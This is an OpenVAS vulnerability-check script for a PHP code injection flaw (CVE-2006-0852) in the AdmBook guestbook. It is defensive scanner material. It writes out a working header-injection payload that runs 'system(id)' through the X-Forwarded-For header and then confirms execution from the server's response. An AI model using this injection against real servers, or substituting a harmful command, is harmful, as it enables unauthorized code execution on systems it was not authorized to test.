Admbook PHP Code Injection Flaw

# OpenVAS Vulnerability Test
# $Id: admbook_cmd_exec.nasl 5779 2017-03-30 06:57:12Z cfi $
# Description: Admbook PHP Code Injection Flaw
#
# Authors:
# David Maciejak <david dot maciejak at kyxar dot fr>
#
# Copyright:
# Copyright (C) 2006 David Maciejak
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#

tag_summary = "The remote web server contains a PHP script that allows arbitrary code
injection. 

Description :

The remote host is running AdmBook, a PHP-based guestbook. 

The remote version of this software is prone to remote PHP code
injection due to a lack of sanitization of the HTTP header
'X-Forwarded-For'.  Using a specially-crafted URL, a malicious user
can execute arbitrary command on the remote server subject to the
privileges of the web server user id.";

tag_solution = "Unknown at this time.";

# Ref: rgod
# Special thanks to George

if(description)
{
  script_id(80048);
  script_version("$Revision: 5779 $");
  script_tag(name:"last_modification", value:"$Date: 2017-03-30 08:57:12 +0200 (Thu, 30 Mar 2017) $");
  script_tag(name:"creation_date", value:"2008-10-24 23:33:44 +0200 (Fri, 24 Oct 2008)");
  script_cve_id("CVE-2006-0852");
  script_bugtraq_id(16753);
  script_xref(name:"OSVDB", value:"23365");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("Admbook PHP Code Injection Flaw");
  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("This script is Copyright (C) 2006 David Maciejak");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "http_version.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  script_xref(name : "URL" , value : "http://downloads.securityfocus.com/vulnerabilities/exploits/admbook_122_xpl.pl");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("url_func.inc");

port = get_http_port(default:80);
if (!can_host_php(port:port)) exit(0);

foreach dir( make_list_unique( "/admbook", "/guestbook", "/gb", cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";

  cmd = "id";
  magic = rand_str();

  req = http_get( item:string( dir, "/write.php?name=openvas&email=openvas@", this_host(), "&message=", urlencode(str:string("OpenVAS ran ", SCRIPT_NAME, " at ", unixtime())) ), port:port );
  req = str_replace( string:req, find:"User-Agent:", replace:string('X-FORWARDED-FOR: 127.0.0.1 ";system(', cmd, ');echo "', magic, '";echo"\r\n',"User-Agent:" ));
  res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
  # nb: there won't necessarily be any output from the first request.

  req = http_get(item:string(dir, "/content-data.php"), port:port);
  res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
  if (res == NULL) continue;

  if(magic >< res && output = egrep(pattern:"uid=[0-9]+.*gid=[0-9]+.*", string:res)) {
    report = string(
      "It was possible to execute the command '", cmd, "' on the remote\n",
      "host, which produces the following output :\n",
      "\n",
      output
    );

    security_message(port:port, data:report);
    exit( 0 );
  }
}

exit( 99 );